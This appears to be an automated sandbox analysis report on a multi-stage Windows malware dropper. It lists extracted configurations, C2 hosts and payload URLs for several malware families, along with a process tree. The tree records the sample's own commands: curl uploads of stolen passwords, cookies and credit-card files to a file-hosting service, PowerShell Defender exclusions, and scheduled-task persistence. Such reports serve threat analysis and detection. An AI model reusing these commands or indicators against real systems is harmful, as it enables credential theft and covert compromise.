Analysis
- max time kernel
149s - max time network
151s - platform
windows11-21h2_x64 - resource
win11-20251015-en - resource tags
- submitted
11/12/2025, 02:45
General
- Target NewTextDocumentmod.exe
- Size 761KB
- Sample251211-c832csvngl
- SHA256 bb459869e5ef6d6dd6f0329080d7cb12542c4b37163ae2cd782620adcd7d55a0
Score
10/10
Malware Config
Extracted
Family
-
xred
C2
-
xred.mooo.com
Attributes
-
payload_url
http://freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978
https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download
https://www.dropbox.com/s/n1w4p8gc6jzo0sg/SUpdate.ini?dl=1
http://xred.site50.net/syn/SUpdate.ini
https://docs.google.com/uc?id=0BxsMXGfPIZfSVzUyaHFYVkQxeFk&export=download
https://www.dropbox.com/s/zhp1b06imehwylq/Synaptics.rar?dl=1
http://xred.site50.net/syn/Synaptics.rar
https://docs.google.com/uc?id=0BxsMXGfPIZfSTmlVYkxhSDg5TzQ&export=download
https://www.dropbox.com/s/fzj752whr3ontsm/SSLLibrary.dll?dl=1
http://xred.site50.net/syn/SSLLibrary.dll
Extracted
Family
-
quasar
Version
-
1.4.1
Botnet
-
Office04
C2
-
192.168.1.38:4782
Mutex
-
5e2f2461-70dc-46c6-a00d-88bb31dc6725
Attributes
-
encryption_key
DC7DD97B438723D4D9CE48C0DD424D350646435E
-
install_name
Client.exe
-
key_salt
bfeb1e56fbcd973bb219022430a57843003d5644d21e62b9d4f180e7e6c33941
-
log_directory
Logs
-
reconnect_delay
3000
-
startup_key
Quasar Client Startup
-
subdirectory
SubDir
Extracted
Family
-
metasploit
Version
-
windows/reverse_tcp
C2
-
157.173.100.101:9002
Extracted
Family
-
quasar
Attributes
-
encryption_key
AC2C427DC404AF6EF376182CF26611C6C7C84655
-
key_salt
5a23f8394640cb9e40658446a04c0bbae82dc93d0470e1b2a406a90fd2520382
-
reconnect_delay
3000
Signatures
- Detects DonutLoader 1 IoCs
- DonutLoader
DonutLoader is a position-independent code that enables in-memory execution of VBScript, JScript, EXE, DLL files and dotNET assemblies.
- Donutloader family
- MetaSploit
Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.
- Metasploit family
- Quasar RAT
Quasar is an open source Remote Access Tool.
- Quasar family
- Quasar payload 4 IoCs
- RunningRat
RunningRat is a remote access trojan first seen in 2018.
- RunningRat payload 1 IoCs
- Runningrat family
- XMRig Miner payload 2 IoCs
- Xmrig family
- Xred
Xred is backdoor written in Delphi.
- Xred family
- xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
- Command and Scripting Interpreter: PowerShell 1 TTPs 12 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
- Downloads MZ/PE file 26 IoCs
- Modifies Windows Firewall 2 TTPs 1 IoCs
- .NET Reactor proctector 1 IoCs
Detects an executable protected by an unregistered version of Eziriz's .NET Reactor.
- Drops startup file 1 IoCs
- Executes dropped EXE 25 IoCs
- Loads dropped DLL 27 IoCs
- Prevents Microsoft Defender from scanning certain paths by adding an exclusion. 2 TTPs 6 IoCs
Uses the Powershell Add-MpPreference cmdlet to exclude paths from being scanned by Microsoft Defender.
- Adds Run key to start application 2 TTPs 1 IoCs
- Hide Artifacts: Hidden Window 1 TTPs 6 IoCs
Windows that would typically be displayed when an application carries out an operation can be hidden.
- Legitimate hosting services abused for malware hosting/C2 1 TTPs 55 IoCs
- Looks up external IP address via web service 3 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Drops file in System32 directory 11 IoCs
- Suspicious use of SetThreadContext 2 IoCs
- UPX packed file 1 IoCs
Detects executables packed with UPX/modified UPX open source packer.
- Launches sc.exe 1 IoCs
Sc.exe is a Windows utlilty to control services on the system.
- Detects Pyinstaller 2 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Program crash 4 IoCs
- System Location Discovery: System Language Discovery 1 TTPs 7 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 4 IoCs
Adversaries may check for Internet connectivity on compromised systems.
- Inno Setup is an open-source installation builder for Windows applications. 3 IoCs
Inno Setup installer
- NSIS installer 2 IoCs
- GoLang User-Agent 3 IoCs
Uses default user-agent string defined by GoLang HTTP packages.
- Kills process with taskkill 5 IoCs
- Modifies registry class 3 IoCs
- Runs ping.exe 1 TTPs 2 IoCs
- Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Suspicious behavior: AddClipboardFormatListener 1 IoCs
- Suspicious behavior: EnumeratesProcesses 16 IoCs
- Suspicious use of AdjustPrivilegeToken 64 IoCs
- Suspicious use of WriteProcessMemory 44 IoCs
- Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Users\Admin\AppData\Local\Temp\NewTextDocumentmod.exe"C:\Users\Admin\AppData\Local\Temp\NewTextDocumentmod.exe"1⤵
- Adds Run key to start application
- System Location Discovery: System Language Discovery
- Modifies registry class
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\._cache_NewTextDocumentmod.exe"C:\Users\Admin\AppData\Local\Temp\._cache_NewTextDocumentmod.exe"2⤵
- Downloads MZ/PE file
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\a\v1d.exe"C:\Users\Admin\AppData\Local\Temp\a\v1d.exe"3⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\a\CFXBypass.exe"C:\Users\Admin\AppData\Local\Temp\a\CFXBypass.exe"3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\AppData\Local\Temp\a\Monotone.exe"C:\Users\Admin\AppData\Local\Temp\a\Monotone.exe"3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\AppData\Local\Temp\a\Vl42rA8dkRKp2D9.exe"C:\Users\Admin\AppData\Local\Temp\a\Vl42rA8dkRKp2D9.exe"3⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\a\Vl42rA8dkRKp2D9.exeC:\Users\Admin\AppData\Local\Temp\a\Vl42rA8dkRKp2D9.exe4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\tcp_windows_amd64.exe"C:\Users\Admin\AppData\Local\Temp\a\tcp_windows_amd64.exe"3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Users\Admin\AppData\Local\Temp\a\klv8.exe"C:\Users\Admin\AppData\Local\Temp\a\klv8.exe"3⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\a\klv8.exe"C:\Users\Admin\AppData\Local\Temp\a\klv8.exe"4⤵
- Executes dropped EXE
- Loads dropped DLL
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "taskkill /im firefox.exe /t /f >nul 2>&1"5⤵
-
C:\Windows\system32\taskkill.exetaskkill /im firefox.exe /t /f6⤵
- Kills process with taskkill
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin\AppData\Local\Temp\muckpasswords.txt" https://store4.gofile.io/uploadFile"5⤵
-
C:\Windows\system32\curl.execurl -F "file=@C:\Users\Admin\AppData\Local\Temp\muckpasswords.txt" https://store4.gofile.io/uploadFile6⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin\AppData\Local\Temp\muckcookies.txt" https://store4.gofile.io/uploadFile"5⤵
-
C:\Windows\system32\curl.execurl -F "file=@C:\Users\Admin\AppData\Local\Temp\muckcookies.txt" https://store4.gofile.io/uploadFile6⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin\AppData\Local\Temp\muckcreditcards.txt" https://store4.gofile.io/uploadFile"5⤵
-
C:\Windows\system32\curl.execurl -F "file=@C:\Users\Admin\AppData\Local\Temp\muckcreditcards.txt" https://store4.gofile.io/uploadFile6⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin\AppData\Local\Temp\muckautofill.txt" https://store4.gofile.io/uploadFile"5⤵
-
C:\Windows\system32\curl.execurl -F "file=@C:\Users\Admin\AppData\Local\Temp\muckautofill.txt" https://store4.gofile.io/uploadFile6⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin\AppData\Local\Temp\muckhistory.txt" https://store4.gofile.io/uploadFile"5⤵
-
C:\Windows\system32\curl.execurl -F "file=@C:\Users\Admin\AppData\Local\Temp\muckhistory.txt" https://store4.gofile.io/uploadFile6⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin\AppData\Local\Temp\muckparsedcookies.txt" https://store4.gofile.io/uploadFile"5⤵
-
C:\Windows\system32\curl.execurl -F "file=@C:\Users\Admin\AppData\Local\Temp\muckparsedcookies.txt" https://store4.gofile.io/uploadFile6⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin\AppData\Local\Temp\muckbookmarks.txt" https://store4.gofile.io/uploadFile"5⤵
-
C:\Windows\system32\curl.execurl -F "file=@C:\Users\Admin\AppData\Local\Temp\muckbookmarks.txt" https://store4.gofile.io/uploadFile6⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin/Downloads/BackupRead.m4a" https://store4.gofile.io/uploadFile"5⤵
-
C:\Windows\system32\curl.execurl -F "file=@C:\Users\Admin/Downloads/BackupRead.m4a" https://store4.gofile.io/uploadFile6⤵
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\tcp_windows_i386.exe"C:\Users\Admin\AppData\Local\Temp\a\tcp_windows_i386.exe"3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Users\Admin\AppData\Local\Temp\a\RuntimeBroker.exe"C:\Users\Admin\AppData\Local\Temp\a\RuntimeBroker.exe"3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\Client-built.exe"C:\Users\Admin\AppData\Local\Temp\a\Client-built.exe"3⤵
-
C:\Users\Admin\AppData\Roaming\SubDir\Client.exe"C:\Users\Admin\AppData\Roaming\SubDir\Client.exe"4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\RuntimeBrokerr.exe"C:\Users\Admin\AppData\Local\Temp\a\RuntimeBrokerr.exe"3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\oc.exe"C:\Users\Admin\AppData\Local\Temp\a\oc.exe"3⤵
-
C:\Windows\SysWOW64\schtasks.exe/create /tn "WindowsUpdateDfNfB9" /tr "C:\Users\Admin\AppData\Local\Temp\a\oc.exe" /sc onlogon /ru SYSTEM4⤵
-
-
C:\Users\Admin\AppData\Local\Temp\f4q9rEKyrcd8.exe"C:\Users\Admin\AppData\Local\Temp\f4q9rEKyrcd8.exe"4⤵
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 6036 -s 8324⤵
- Program crash
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\teste.exe"C:\Users\Admin\AppData\Local\Temp\a\teste.exe"3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\N6ezi92.exe"C:\Users\Admin\AppData\Local\Temp\a\N6ezi92.exe"3⤵
-
C:\Users\Admin\AppData\Local\Temp\a\N6ezi92.exe"C:\Users\Admin\AppData\Local\Temp\a\N6ezi92.exe"4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\Renewable.exe"C:\Users\Admin\AppData\Local\Temp\a\Renewable.exe"3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\41lglxP.exe"C:\Users\Admin\AppData\Local\Temp\a\41lglxP.exe"3⤵
-
C:\Users\Admin\AppData\Local\Temp\is-0URIG.tmp\41lglxP.tmp"C:\Users\Admin\AppData\Local\Temp\is-0URIG.tmp\41lglxP.tmp" /SL5="$C0218,11851075,848896,C:\Users\Admin\AppData\Local\Temp\a\41lglxP.exe"4⤵
-
C:\Windows\SysWOW64\regsvr32.exe"regsvr32.exe" /s /u "C:\Users\Admin\AppData\Roaming\Microsoft\SystemCertificates\f21e13b0_2b09_4aa7_8481_a800486b4835.dll"5⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\Loader.exe"C:\Users\Admin\AppData\Local\Temp\a\Loader.exe"3⤵
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /query /tn "Windows Defender Security"4⤵
-
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /sc minute /tn "Windows Defender Security" /tr "C:\Users\Admin\AppData\Local\Temp\a\Loader.exe"4⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\911003bc2e1a48bcad3df4f8822d3445_build.exe"C:\Users\Admin\AppData\Local\Temp\a\911003bc2e1a48bcad3df4f8822d3445_build.exe"3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\269f741bc1dc4e81a11970475fc19d02_crypted_build.exe"C:\Users\Admin\AppData\Local\Temp\a\269f741bc1dc4e81a11970475fc19d02_crypted_build.exe"3⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\ixQkHlmT\" ; Add-MpPreference -ExclusionPath \"C:\Users\""4⤵
- Prevents Microsoft Defender from scanning certain paths by adding an exclusion.
- Hide Artifacts: Hidden Window
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\ixQkHlmT\" ; Add-MpPreference -ExclusionPath \"C:\Users\""5⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
C:\Users\Admin\AppData\Local\ixQkHlmT\game_launcher.exeC:\Users\Admin\AppData\Local\ixQkHlmT\game_launcher.exe4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\69b261a3e2f342588b1a50de576759aa_crypted_build.exe"C:\Users\Admin\AppData\Local\Temp\a\69b261a3e2f342588b1a50de576759aa_crypted_build.exe"3⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\ixQkHlmT\" ; Add-MpPreference -ExclusionPath \"C:\Users\""4⤵
- Prevents Microsoft Defender from scanning certain paths by adding an exclusion.
- Hide Artifacts: Hidden Window
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\ixQkHlmT\" ; Add-MpPreference -ExclusionPath \"C:\Users\""5⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
C:\Users\Admin\AppData\Local\ixQkHlmT\game_launcher.exeC:\Users\Admin\AppData\Local\ixQkHlmT\game_launcher.exe4⤵
-
C:\Windows\System32\cmd.exe"C:/Windows/System32/cmd.exe"5⤵
-
-
C:\Windows\System32\cmd.exe"C:/Windows/System32/cmd.exe"5⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\5d22a78913464bfdbc143f4f738b1b29_build.exe"C:\Users\Admin\AppData\Local\Temp\a\5d22a78913464bfdbc143f4f738b1b29_build.exe"3⤵
-
C:\Windows\System32\cmd.exe"C:/Windows/System32/cmd.exe"4⤵
-
-
C:\Windows\System32\cmd.exe"C:/Windows/System32/cmd.exe"4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\dbd544c5121242a09d0c83455153f18f_build.exe"C:\Users\Admin\AppData\Local\Temp\a\dbd544c5121242a09d0c83455153f18f_build.exe"3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\8f97a032ba504731987d99793058861b_build.exe"C:\Users\Admin\AppData\Local\Temp\a\8f97a032ba504731987d99793058861b_build.exe"3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\fcc969c3049642339bafad90fbe2c991_crypted_build.exe"C:\Users\Admin\AppData\Local\Temp\a\fcc969c3049642339bafad90fbe2c991_crypted_build.exe"3⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\LMLFyby\" ; Add-MpPreference -ExclusionPath \"C:\Users\""4⤵
- Prevents Microsoft Defender from scanning certain paths by adding an exclusion.
- Hide Artifacts: Hidden Window
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\LMLFyby\" ; Add-MpPreference -ExclusionPath \"C:\Users\""5⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
C:\Users\Admin\AppData\Local\LMLFyby\game_launcher.exeC:\Users\Admin\AppData\Local\LMLFyby\game_launcher.exe4⤵
-
C:\Windows\System32\cmd.exe"C:/Windows/System32/cmd.exe"5⤵
-
-
C:\Windows\System32\cmd.exe"C:/Windows/System32/cmd.exe"5⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\ITAwKmx.exe"C:\Users\Admin\AppData\Local\Temp\a\ITAwKmx.exe"3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\qcznu7yzz3j5.exe"C:\Users\Admin\AppData\Local\Temp\a\qcznu7yzz3j5.exe"3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\bot.exe"C:\Users\Admin\AppData\Local\Temp\a\bot.exe"3⤵
-
C:\Users\Admin\AppData\Local\Temp\KAAGVDDV.exe"C:\Users\Admin\AppData\Local\Temp\KAAGVDDV.exe"4⤵
-
-
C:\Users\Admin\AppData\Local\Temp\CUWSOJBR.exe"C:\Users\Admin\AppData\Local\Temp\CUWSOJBR.exe"4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\donut.exe"C:\Users\Admin\AppData\Local\Temp\a\donut.exe"3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\direct_x64.exe"C:\Users\Admin\AppData\Local\Temp\a\direct_x64.exe"3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\3.exe"C:\Users\Admin\AppData\Local\Temp\a\3.exe"3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\stageless_x64.exe"C:\Users\Admin\AppData\Local\Temp\a\stageless_x64.exe"3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\4.exe"C:\Users\Admin\AppData\Local\Temp\a\4.exe"3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\01.exe"C:\Users\Admin\AppData\Local\Temp\a\01.exe"3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\8.exe"C:\Users\Admin\AppData\Local\Temp\a\8.exe"3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\LosslessCut.exe"C:\Users\Admin\AppData\Local\Temp\a\LosslessCut.exe"3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\clean.exe"C:\Users\Admin\AppData\Local\Temp\a\clean.exe"3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\Crypted.exe"C:\Users\Admin\AppData\Local\Temp\a\Crypted.exe"3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\5.exe"C:\Users\Admin\AppData\Local\Temp\a\5.exe"3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\Multi-tiered_8865.99.73_INSTALL.exe"C:\Users\Admin\AppData\Local\Temp\a\Multi-tiered_8865.99.73_INSTALL.exe"3⤵
-
C:\Users\Admin\AppData\Local\Temp\is-EQJN1HSJVD.tmp\Multi-tiered_8865.99.73_INSTALL.tmp"C:\Users\Admin\AppData\Local\Temp\is-EQJN1HSJVD.tmp\Multi-tiered_8865.99.73_INSTALL.tmp" /SL5="$30368,3482063,893440,C:\Users\Admin\AppData\Local\Temp\a\Multi-tiered_8865.99.73_INSTALL.exe"4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\x.exe"C:\Users\Admin\AppData\Local\Temp\a\x.exe"3⤵
-
-
-
C:\ProgramData\Synaptics\Synaptics.exe"C:\ProgramData\Synaptics\Synaptics.exe" InjUpdate2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Modifies registry class
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\._cache_Synaptics.exe"C:\Users\Admin\AppData\Local\Temp\._cache_Synaptics.exe" InjUpdate3⤵
- Downloads MZ/PE file
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\a\c1i.exe"C:\Users\Admin\AppData\Local\Temp\a\c1i.exe"4⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exeC:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\AppLaunch.exe5⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\udNbXjM.exe"C:\Users\Admin\AppData\Local\Temp\a\udNbXjM.exe"4⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\CMD.exeCMD /C "WMIC BIOS GET SERIALNUMBER"5⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\Wbem\WMIC.exeWMIC BIOS GET SERIALNUMBER6⤵
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\system32\CMD.exeCMD /C "WMIC DISKDRIVE GET SERIALNUMBER"5⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\Wbem\WMIC.exeWMIC DISKDRIVE GET SERIALNUMBER6⤵
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\system32\CMD.exeCMD /C "WMIC CPU GET ProcessorID"5⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\Wbem\WMIC.exeWMIC CPU GET ProcessorID6⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\udNbXjM.exe"C:\Users\Admin\AppData\Local\Temp\a\udNbXjM.exe" aec46f24d49c83be9284656d0ca0237a8ee8622d71e89b29398cd1e89dbff8ab31e238ea2e8068ab9fba6ae4f0830a1f91c32b390470d03c51aa79b489fdfb64844634a0e868d9bae3da0ab6f0f41168c580f4f9f20b74a7adfa314394c1e0a21e20eb76d12f2d3b8cea5c0f8a98502904b8595⤵
- Executes dropped EXE
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\TempSpoofer.exe"C:\Users\Admin\AppData\Local\Temp\a\TempSpoofer.exe"4⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\AppData\Local\Temp\a\1.exe"C:\Users\Admin\AppData\Local\Temp\a\1.exe"4⤵
- Drops startup file
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\SysWOW64\cmd.exe"cmd" /c ping 127.0.0.1 -n 44 > nul && copy "C:\Users\Admin\AppData\Local\Temp\a\1.exe" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Goodyear_Logistics_Broker_Carrier_Transportation_Agreement_22.exe" && ping 127.0.0.1 -n 44 > nul && "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Goodyear_Logistics_Broker_Carrier_Transportation_Agreement_22.exe"5⤵
- System Network Configuration Discovery: Internet Connection Discovery
-
C:\Windows\SysWOW64\PING.EXEping 127.0.0.1 -n 446⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
-
C:\Windows\SysWOW64\PING.EXEping 127.0.0.1 -n 446⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\urfHCo8.exe"C:\Users\Admin\AppData\Local\Temp\a\urfHCo8.exe"4⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --headless --log-level=35⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Local\Temp\HeadlessChrome1708241363828 /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Local\Temp\HeadlessChrome1708241363828\Crashpad --metrics-dir=C:\Users\Admin\AppData\Local\Temp\HeadlessChrome1708241363828 --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=133.0.6943.60 --initial-client-data=0x1e8,0x1ec,0x1f0,0x1c4,0x1f4,0x7ff9cbe3dcf8,0x7ff9cbe3dd04,0x7ff9cbe3dd106⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --string-annotations --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\HeadlessChrome1708241363828" --field-trial-handle=2108,i,15706239409225878751,16655151939768715099,262144 --disable-features=PaintHolding --variations-seed-version --log-level=3 --mojo-platform-channel-handle=2104 /prefetch:116⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --headless --string-annotations --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\HeadlessChrome1708241363828" --gpu-preferences=UAAAAAAAAADgAAAEAAAAAAAAAAAAAAAAAABgAAEAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --field-trial-handle=1988,i,15706239409225878751,16655151939768715099,262144 --disable-features=PaintHolding --variations-seed-version --log-level=3 --mojo-platform-channel-handle=1980 /prefetch:26⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --string-annotations --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\HeadlessChrome1708241363828" --field-trial-handle=2244,i,15706239409225878751,16655151939768715099,262144 --disable-features=PaintHolding --variations-seed-version --log-level=3 --mojo-platform-channel-handle=2436 /prefetch:136⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\HeadlessChrome1708241363828" --enable-dinosaur-easter-egg-alt-images --disable-databases --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=3216,i,15706239409225878751,16655151939768715099,262144 --disable-features=PaintHolding --variations-seed-version --log-level=3 --mojo-platform-channel-handle=3212 /prefetch:16⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\HeadlessChrome1708241363828" --enable-dinosaur-easter-egg-alt-images --disable-databases --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=3256,i,15706239409225878751,16655151939768715099,262144 --disable-features=PaintHolding --variations-seed-version --log-level=3 --mojo-platform-channel-handle=3252 /prefetch:16⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\HeadlessChrome1708241363828" --enable-dinosaur-easter-egg-alt-images --disable-databases --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --field-trial-handle=3652,i,15706239409225878751,16655151939768715099,262144 --disable-features=PaintHolding --variations-seed-version --log-level=3 --mojo-platform-channel-handle=3648 /prefetch:16⤵
-
-
